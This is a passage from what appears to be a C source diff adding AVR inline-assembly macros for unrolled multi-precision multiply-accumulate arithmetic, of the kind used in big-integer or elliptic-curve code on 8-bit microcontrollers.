r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r9, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r10, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r11, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r11, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r16, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r17, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r18, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r19, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r20, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r21, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 